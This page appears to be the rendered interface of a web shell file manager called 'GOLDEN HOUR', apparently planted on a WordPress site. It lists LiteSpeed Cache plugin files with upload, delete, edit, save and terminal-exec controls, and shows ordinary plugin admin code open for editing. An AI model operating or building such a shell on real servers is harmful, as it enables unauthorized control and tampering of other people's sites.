GOLDEN HOUR
DIR: /home/reseprot/public_html/tokomesinjakarta.com/wp-content/plugins/litespeed-cache/src
UP
UPLOAD
Name
Size
Action
activation.cls.php
17.31 KB
DEL
admin-display.cls.php
48.47 KB
DEL
admin-settings.cls.php
11.12 KB
DEL
admin.cls.php
6.13 KB
DEL
api.cls.php
10.36 KB
DEL
avatar.cls.php
8.65 KB
DEL
base.cls.php
37.66 KB
DEL
[ cdn ]
-
DEL
cdn.cls.php
15.92 KB
DEL
cloud-auth-callback.trait.php
10.43 KB
DEL
cloud-auth-ip.trait.php
4.33 KB
DEL
cloud-auth.trait.php
9.38 KB
DEL
cloud-misc.trait.php
10.32 KB
DEL
cloud-node.trait.php
5.95 KB
DEL
cloud-request.trait.php
19.68 KB
DEL
cloud.cls.php
7.32 KB
DEL
conf.cls.php
19.53 KB
DEL
control.cls.php
24.35 KB
DEL
core.cls.php
20.97 KB
DEL
crawler-map.cls.php
19.41 KB
DEL
crawler.cls.php
44.72 KB
DEL
css.cls.php
17.77 KB
DEL
data.cls.php
22.21 KB
DEL
data.upgrade.func.php
5.72 KB
DEL
[ data_structure ]
-
DEL
db-optm.cls.php
15.35 KB
DEL
debug2.cls.php
18.4 KB
DEL
doc.cls.php
5.45 KB
DEL
error.cls.php
7.35 KB
DEL
esi.cls.php
27.18 KB
DEL
file.cls.php
10.57 KB
DEL
guest.cls.php
2.75 KB
DEL
gui.cls.php
36.57 KB
DEL
health.cls.php
2.83 KB
DEL
htaccess.cls.php
29.81 KB
DEL
img-optm-manage.trait.php
30.85 KB
DEL
img-optm-pull.trait.php
22.1 KB
DEL
img-optm-send.trait.php
21.9 KB
DEL
img-optm.cls.php
5.26 KB
DEL
import.cls.php
4.29 KB
DEL
import.preset.cls.php
5.5 KB
DEL
lang.cls.php
17.02 KB
DEL
localization.cls.php
4.03 KB
DEL
media.cls.php
44.08 KB
DEL
metabox.cls.php
5.29 KB
DEL
object-cache-wp.cls.php
18.82 KB
DEL
object-cache.cls.php
20.95 KB
DEL
object.lib.php
14.16 KB
DEL
optimize.cls.php
38.64 KB
DEL
optimizer.cls.php
10.5 KB
DEL
placeholder.cls.php
17.93 KB
DEL
purge.cls.php
34.41 KB
DEL
report.cls.php
6.12 KB
DEL
rest.cls.php
9.08 KB
DEL
root.cls.php
14.29 KB
DEL
router.cls.php
20.76 KB
DEL
str.cls.php
3.08 KB
DEL
tag.cls.php
9.26 KB
DEL
task.cls.php
7.05 KB
DEL
tool.cls.php
4.17 KB
DEL
ucss.cls.php
16.35 KB
DEL
utility.cls.php
26.01 KB
DEL
vary.cls.php
21.33 KB
DEL
vpi.cls.php
9.38 KB
DEL
Edit: admin.cls.php
<?php /** * The admin-panel specific functionality of the plugin. * * @since 1.0.0 * @package LiteSpeed_Cache */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Admin * * Wires admin-side hooks, actions, and safe redirects. */ class Admin extends Root { const LOG_TAG = '👮'; const PAGE_EDIT_HTACCESS = 'litespeed-edit-htaccess'; /** * Initialize the class and set its properties. * Runs in hook `after_setup_theme` when is_admin(). * * @since 1.0.0 */ public function __construct() { // Define LSCWP_MU_PLUGIN if in mu-plugins. if ( defined( 'WPMU_PLUGIN_DIR' ) && dirname( LSCWP_DIR ) === WPMU_PLUGIN_DIR && ! defined( 'LSCWP_MU_PLUGIN' ) ) { define( 'LSCWP_MU_PLUGIN', true ); } self::debug( 'No cache due to Admin page' ); if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } // Additional LiteSpeed assets on admin display (also registers menus). $this->cls( 'Admin_Display' ); // Initialize admin actions. add_action( 'admin_init', [ $this, 'admin_init' ] ); // Add link to plugin list page. add_filter( 'plugin_action_links_' . LSCWP_BASENAME, [ $this->cls( 'Admin_Display' ), 'add_plugin_links' ] ); } /** * Callback that initializes the admin options for LiteSpeed Cache. * * @since 1.0.0 * @return void */ public function admin_init() { // Hook to reset optimization data when image is replaced. add_filter( 'wp_generate_attachment_metadata', [ $this, 'wp_generate_attachment_metadata' ], 10, 3 ); // Hook attachment upload auto optimization. if ( $this->conf( Base::O_IMG_OPTM_AUTO ) ) { add_filter( 'wp_update_attachment_metadata', [ $this, 'wp_update_attachment_metadata' ], 9999, 2 ); } $this->_proceed_admin_action(); // Terminate if user doesn't have access to settings. $capability = is_network_admin() ? 'manage_network_options' : 'manage_options'; if ( ! current_user_can( $capability ) ) { return; } // Add privacy policy (since 2.2.6). if ( function_exists( 'wp_add_privacy_policy_content' ) ) { wp_add_privacy_policy_content( Core::NAME, Doc::privacy_policy() ); } $this->cls( 'Media' )->after_admin_init(); do_action( 'litespeed_after_admin_init' ); if ( $this->cls( 'Router' )->esi_enabled() ) { add_action( 'in_widget_form', [ $this->cls( 'Admin_Display' ), 'show_widget_edit' ], 100, 3 ); add_filter( 'widget_update_callback', __NAMESPACE__ . '\Admin_Settings::validate_widget_save', 10, 4 ); } } /** * Handle attachment metadata generation. * Reset optimization data if this is a replaced image (has existing optimization records). * * @since 7.8 * * @param array $metadata Attachment metadata. * @param int $attachment_id Attachment ID. * @param string $context Context: 'create' or 'update'. * @return array Filtered metadata. */ public function wp_generate_attachment_metadata( $metadata, $attachment_id, $context = 'create' ) { // Only process on 'create' context (replacement also uses 'create') if ( 'create' !== $context ) { return $metadata; } $img_optm = $this->cls( 'Img_Optm' ); // Check if has existing optimization records, if so it's a replacement if ( $img_optm->has_optm_record( $attachment_id, $metadata ) ) { self::debug( 'Image replaced, resetting optimization data [pid] ' . $attachment_id ); $img_optm->reset_row( $attachment_id, true ); } return $metadata; } /** * Handle attachment metadata update. * * @since 4.0 * * @param array $data Attachment meta. * @param int $post_id Attachment ID. * @return array Filtered meta. */ public function wp_update_attachment_metadata( $data, $post_id ) { $this->cls( 'Img_Optm' )->wp_update_attachment_metadata( $data, $post_id ); return $data; } /** * Run LiteSpeed admin actions routed via Router. * * @since 1.1.0 * @return void */ private function _proceed_admin_action() { $action = Router::get_action(); switch ( $action ) { case Router::ACTION_SAVE_SETTINGS: $this->cls( 'Admin_Settings' )->save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing break; case Router::ACTION_SAVE_SETTINGS_NETWORK: $this->cls( 'Admin_Settings' )->network_save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing break; default: break; } } /** * Clean up the input (array or scalar) of any extra slashes/spaces. * * @since 1.0.4 * * @param mixed $input The input value to clean. * @return mixed Cleaned value. */ public static function cleanup_text( $input ) { if ( is_array( $input ) ) { return array_map( __CLASS__ . '::cleanup_text', $input ); } return stripslashes(trim($input)); } /** * After a LSCWP_CTRL action, redirect back to same page * without nonce and action in the query string. * * If the redirect URL cannot be determined, redirects to the homepage. * * @since 1.0.12 * * @param string|false $url Optional destination URL. * @return void */ public static function redirect( $url = false ) { global $pagenow; // If originated, go back to referrer or home. if ( ! empty( $_GET['_litespeed_ori'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $ref = wp_get_referer(); wp_safe_redirect( $ref ? $ref : get_home_url() ); exit; } if ( ! $url ) { $clean = []; // Sanitize current query args while removing our internals. if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended foreach ( $_GET as $k => $v ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( in_array( $k, [ Router::ACTION, Router::NONCE, Router::TYPE, 'litespeed_i', 'litespeed_tb' ], true ) ) { continue; } // Normalize to string for URL building. $clean[ $k ] = is_array( $v ) ? array_map( 'sanitize_text_field', wp_unslash( $v ) ) : sanitize_text_field( wp_unslash( $v ) ); } } $qs = ''; if ( ! empty( $clean ) ) { $qs = '?' . http_build_query( $clean ); } $url = is_network_admin() ? network_admin_url( $pagenow . $qs ) : admin_url( $pagenow . $qs ); } wp_safe_redirect( $url ); exit; } }
SAVE FILE
TERMINAL
EXEC